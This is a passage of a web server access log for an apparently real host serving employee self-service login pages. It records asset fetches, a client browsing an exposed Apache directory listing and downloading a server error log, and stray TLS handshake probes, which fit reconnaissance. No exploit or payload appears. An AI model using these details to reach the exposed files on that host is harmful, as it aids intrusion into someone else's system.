Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:46 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 100.64.0.1 - - [05/Dec/2025:21:39:46 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:46 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477 100.64.0.1 - - [05/Dec/2025:21:39:46 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:46 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 100.64.0.1 - - [05/Dec/2025:21:39:59 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/INSTALL.txt HTTP/1.1" 200 4835 "http://hcp.maglayers.com.cn:8088/Apache%20Software%20Foundation/Apache2.2/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:39:59 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/INSTALL.txt HTTP/1.1" 200 4835 100.64.0.1 - - [05/Dec/2025:21:41:12 +0800] "GET /idcard/ HTTP/1.1" 200 649 "http://hcp.maglayers.com.cn:8088/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:41:12 +0800] "GET /idcard/ HTTP/1.1" 200 649 100.64.0.1 - - [05/Dec/2025:21:41:12 +0800] "GET /idcard/ess/index.php HTTP/1.1" 200 11457 "http://hcp.maglayers.com.cn:8088/idcard/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:41:12 +0800] "GET /idcard/ess/index.php HTTP/1.1" 200 11457 100.64.0.1 - - [05/Dec/2025:21:41:13 +0800] "GET /idcard/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://hcp.maglayers.com.cn:8088/idcard/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:41:13 +0800] "GET /idcard/css/blueprint/screen.css HTTP/1.1" 200 11552 100.64.0.1 - - [05/Dec/2025:21:41:14 +0800] "GET /idcard/css/default.css HTTP/1.1" 200 7957 "http://hcp.maglayers.com.cn:8088/idcard/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:41:14 +0800] "GET /idcard/css/default.css HTTP/1.1" 200 7957 100.64.0.1 - - [05/Dec/2025:21:41:13 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://hcp.maglayers.com.cn:8088/idcard/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:41:13 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 100.64.0.1 - - [05/Dec/2025:21:41:14 +0800] "GET /idcard/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://hcp.maglayers.com.cn:8088/idcard/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:41:14 +0800] "GET /idcard/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 100.64.0.1 - - [05/Dec/2025:21:41:14 +0800] "GET /idcard/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://hcp.maglayers.com.cn:8088/idcard/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:41:14 +0800] "GET /idcard/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 100.64.0.1 - - [05/Dec/2025:21:41:14 +0800] "GET /idcard/js/flash_detect_min.js HTTP/1.1" 200 2477 "http://hcp.maglayers.com.cn:8088/idcard/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:41:14 +0800] "GET /idcard/js/flash_detect_min.js HTTP/1.1" 200 2477 100.64.0.1 - - [05/Dec/2025:21:41:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://hcp.maglayers.com.cn:8088/idcard/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:41:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 100.64.0.1 - - [05/Dec/2025:21:41:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://hcp.maglayers.com.cn:8088/idcard/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:41:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 100.64.0.1 - - [05/Dec/2025:21:41:14 +0800] "GET /idcard/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:41:14 +0800] "GET /idcard/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 100.64.0.1 - - [05/Dec/2025:21:41:14 +0800] "GET /idcard/js/flash_detect_min.js HTTP/1.1" 200 2477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:41:14 +0800] "GET /idcard/js/flash_detect_min.js HTTP/1.1" 200 2477 100.64.0.1 - - [05/Dec/2025:21:41:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://hcp.maglayers.com.cn:8088/idcard/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:41:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 100.64.0.1 - - [05/Dec/2025:21:41:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://hcp.maglayers.com.cn:8088/idcard/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:41:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 100.64.0.1 - - [05/Dec/2025:21:41:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 "http://hcp.maglayers.com.cn:8088/idcard/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:41:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 100.64.0.1 - - [05/Dec/2025:21:41:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://hcp.maglayers.com.cn:8088/idcard/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:41:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 100.64.0.1 - - [05/Dec/2025:21:41:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://hcp.maglayers.com.cn:8088/idcard/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:41:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 100.64.0.1 - - [05/Dec/2025:21:41:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://hcp.maglayers.com.cn:8088/idcard/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:41:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 100.64.0.1 - - [05/Dec/2025:21:41:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 "http://hcp.maglayers.com.cn:8088/idcard/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:41:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 100.64.0.1 - - [05/Dec/2025:21:41:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://hcp.maglayers.com.cn:8088/idcard/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:41:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 100.64.0.1 - - [05/Dec/2025:21:41:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://hcp.maglayers.com.cn:8088/idcard/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:41:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 100.64.0.1 - - [05/Dec/2025:21:41:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://hcp.maglayers.com.cn:8088/idcard/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:41:14 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 100.64.0.1 - - [05/Dec/2025:21:41:14 +0800] "GET /idcard/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://hcp.maglayers.com.cn:8088/idcard/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:41:14 +0800] "GET /idcard/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 100.64.0.1 - - [05/Dec/2025:21:41:14 +0800] "GET /idcard/img/logo.gif HTTP/1.1" 200 3837 "http://hcp.maglayers.com.cn:8088/idcard/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:41:14 +0800] "GET /idcard/img/logo.gif HTTP/1.1" 200 3837 100.64.0.1 - - [05/Dec/2025:21:41:15 +0800] "GET /idcard/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:41:15 +0800] "GET /idcard/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 100.64.0.1 - - [05/Dec/2025:21:41:15 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://hcp.maglayers.com.cn:8088/idcard/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:41:15 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 100.64.0.1 - - [05/Dec/2025:21:41:15 +0800] "GET /idcard/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:41:15 +0800] "GET /idcard/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 100.64.0.1 - - [05/Dec/2025:21:41:15 +0800] "GET /idcard/img/loginbg.gif HTTP/1.1" 200 7026 "http://hcp.maglayers.com.cn:8088/idcard/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:41:15 +0800] "GET /idcard/img/loginbg.gif HTTP/1.1" 200 7026 100.64.0.1 - - [05/Dec/2025:21:41:15 +0800] "GET /idcard/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://hcp.maglayers.com.cn:8088/idcard/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:41:15 +0800] "GET /idcard/img/index_banner_2.jpg HTTP/1.1" 200 45216 100.64.0.1 - - [05/Dec/2025:21:41:15 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://hcp.maglayers.com.cn:8088/idcard/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:41:15 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 100.64.0.1 - - [05/Dec/2025:21:41:15 +0800] "GET /idcard/img/img1.jpg HTTP/1.1" 200 33358 "http://hcp.maglayers.com.cn:8088/idcard/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:41:15 +0800] "GET /idcard/img/img1.jpg HTTP/1.1" 200 33358 100.64.0.1 - - [05/Dec/2025:21:41:15 +0800] "GET /idcard/img/ares.ico HTTP/1.1" 200 1406 "http://hcp.maglayers.com.cn:8088/idcard/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:41:15 +0800] "GET /idcard/img/ares.ico HTTP/1.1" 200 1406 100.64.0.1 - - [05/Dec/2025:21:41:15 +0800] "GET /idcard/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:41:15 +0800] "GET /idcard/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 100.64.0.1 - - [05/Dec/2025:21:41:15 +0800] "GET /idcard/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:41:15 +0800] "GET /idcard/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 100.64.0.1 - - [05/Dec/2025:21:41:15 +0800] "GET /idcard/js/flash_detect_min.js HTTP/1.1" 200 2477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:41:15 +0800] "GET /idcard/js/flash_detect_min.js HTTP/1.1" 200 2477 100.64.0.1 - - [05/Dec/2025:21:41:15 +0800] "GET /idcard/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:41:15 +0800] "GET /idcard/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 100.64.0.1 - - [05/Dec/2025:21:41:21 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:41:21 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [05/Dec/2025:21:41:29 +0800] "GET /idcard/ess/index.php HTTP/1.1" 200 11457 "http://hcp.maglayers.com.cn:8088/idcard/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:41:29 +0800] "GET /idcard/ess/index.php HTTP/1.1" 200 11457 100.64.0.1 - - [05/Dec/2025:21:44:16 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs/ HTTP/1.1" 200 16863 "http://hcp.maglayers.com.cn:8088/Apache%20Software%20Foundation/Apache2.2/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:44:16 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs/ HTTP/1.1" 200 16863 100.64.0.1 - - [05/Dec/2025:21:44:23 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs/error_20251112.log HTTP/1.1" 200 502142 "http://hcp.maglayers.com.cn:8088/Apache%20Software%20Foundation/Apache2.2/logs/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:44:23 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs/error_20251112.log HTTP/1.1" 200 502142 100.64.0.1 - - [05/Dec/2025:21:45:11 +0800] "GET /ehr/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:45:11 +0800] "GET /ehr/ HTTP/1.1" 200 649 100.64.0.1 - - [05/Dec/2025:21:45:12 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:45:12 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:47:55 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:47:55 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:47:58 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:47:58 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:47:59 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:47:59 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:48:11 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:11 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:11 +0800] "\x16\x03\x02" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:11 +0800] "\x16\x03\x02" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:12 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:12 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:12 +0800] "\x16\x03\x02" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:12 +0800] "\x16\x03\x02" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:12 +0800] "\x16\x03\x03" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:12 +0800] "\x16\x03\x03" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:12 +0800] "\x16\x03\x03" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:12 +0800] "\x16\x03\x03" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:12 +0800] "\x16\x03\x01\x01\x99\x01" 501 208 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:12 +0800] "\x16\x03\x01\x01\x99\x01" 501 208 100.64.0.1 - - [05/Dec/2025:21:48:13 +0800] "\x16\x03\x01\x01\x99\x01" 501 208 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:13 +0800] "\x16\x03\x01\x01\x99\x01" 501 208 100.64.0.1 - - [05/Dec/2025:21:48:13 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:13 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:48:14 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:14 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 100.64.0.1 - - [05/Dec/2025:21:48:14 +0800] "GET /ehr/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:14 +0800] "GET /ehr/css/blueprint/screen.css HTTP/1.1" 200 11552 100.64.0.1 - - [05/Dec/2025:21:48:14 +0800] "GET /ehr/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:14 +0800] "GET /ehr/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 100.64.0.1 - - [05/Dec/2025:21:48:14 +0800] "GET /ehr/css/default.css?m=20130917 HTTP/1.1" 200 8445 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:14 +0800] "GET /ehr/css/default.css?m=20130917 HTTP/1.1" 200 8445 100.64.0.1 - - [05/Dec/2025:21:48:14 +0800] "GET /ehr/js/flash_detect_min.js HTTP/1.1" 200 2477 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:14 +0800] "GET /ehr/js/flash_detect_min.js HTTP/1.1" 200 2477 100.64.0.1 - - [05/Dec/2025:21:48:14 +0800] "GET /ehr/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:14 +0800] "GET /ehr/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 100.64.0.1 - - [05/Dec/2025:21:48:14 +0800] "GET /ehr/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:14 +0800] "GET /ehr/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 100.64.0.1 - - [05/Dec/2025:21:48:14 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:14 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 100.64.0.1 - - [05/Dec/2025:21:48:14 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 